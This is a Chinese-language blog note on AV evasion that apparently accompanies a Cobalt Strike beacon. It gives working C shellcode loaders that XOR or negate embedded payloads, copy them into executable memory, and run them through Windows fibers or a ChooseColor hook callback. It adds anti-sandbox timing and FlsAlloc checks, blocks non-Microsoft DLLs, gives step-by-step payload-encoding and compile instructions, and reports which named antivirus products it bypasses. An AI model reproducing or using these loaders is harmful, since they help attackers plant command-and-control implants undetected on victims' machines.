B站闲逛,发现了师傅一个优秀的项目,学习整理了一波笔记
纤程Fiber的概念:纤程是比线程的更小的一个运行单位。可以把一个线程拆分成多个纤程,然后通过人工转换纤程,从而让各个纤程工作。线程的实现通过Windows内核完成的,因此Windows可以自动对线程进行调度。但是纤程是通过用户模式的代码来实现的,是程序员自己写的算法,内核不知道纤程的实现方式,而是你自己定义的调度算法,因此纤程是“非抢占”的调度方式
https://docs.microsoft.com/en-us/windows/win32/procthread/fibers
实现代码:
#include <windows.h>
void like(){
unsigned char data[] = {0x11, 0x22};
LPVOID fiber = ConvertThreadToFiber(NULL);
LPVOID Alloc=VirtualAlloc(NULL,sizeof(data),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
for (int i=0;i<sizeof(data);i++)
{
data[i]^=99;
}
CopyMemory(Alloc,data,sizeof(data));
LPVOID shellFiber=CreateFiber(0,(LPFIBER_START_ROUTINE)Alloc,NULL);
SwitchToFiber(shellFiber);
}
int main(){
like();
}
1、生成raw格式的beacon
2、拖入010editor
中
3、tools – binaryxor 选择异或次数
4、生成之后,全选 edit – copy as c code,填入到上面的实现代码中,异或次数按照刚刚设置的进行修改
5、gcc xc2.c -mwindows
编译生成exe
免杀效果:火绒✔ def✔ eset✔ 360✔(需要迅速注入其他进程)卡巴斯基❌
反模拟运行检测
本质上就是将恶意程序放入沙箱中 看看它会做什么并监视它的行为。但是这是杀软自己模拟出的一个环境。(也就是启发式查杀)
FlsAlloc windows API https://docs.microsoft.com/en-us/windows/win32/api/fibersapi/nf-fibersapi-flsalloc
添加fibersapi.h
DWORD result = FlsAlloc(NULL);
if (result == FLS_OUT_OF_INDEXES)
{
return 0;
}
#include <Windows.h>
#include <stdio.h>
#include <ctime>
#pragma comment(lib, "Comdlg32.lib")
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
void BLockDll()
{
//定义一个标志
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY sp = {};
sp.MicrosoftSignedOnly = 1;
//调用进程设置缓解策略。 缓解策略使流程能够加强自身以抵御各种类型的攻击
//ProcessSignaturePolicy意思就是限制为只能加载微软签名的
SetProcessMitigationPolicy(ProcessSignaturePolicy, &sp, sizeof(sp));
}
bool 检查沙箱()
{
clock_t start = clock();
Sleep(2000);
clock_t end = clock();
if (end - start >= 2000)
{
return false;
}
return true;
}
void 加载器()
{
BLockDll();
DWORD 长度 = 0;
unsigned char 载荷[265728] = {};
长度 = sizeof(载荷);
PVOID hAlloc = VirtualAlloc(NULL, 长度, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
for (int i = 0; i < 长度; i++)
{
载荷[i] = -载荷[i];
}
memcpy(hAlloc, 载荷, 长度);
CHOOSECOLOR sCC = { 0 };
sCC.lStructSize = sizeof(CHOOSECOLOR);
sCC.Flags = CC_ENABLEHOOK;
sCC.lpfnHook = (LPCCHOOKPROC)hAlloc;
ChooseColor(&sCC);
}
int main()
{
检查沙箱();
//创建线程
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)加载器, NULL, 0, NULL);
//等待线程结束
WaitForSingleObject(hThread, INFINITE);
//关闭句柄
CloseHandle(hThread);
return 0;
}
tools – binaryxor 选择求反,与上面一样的步骤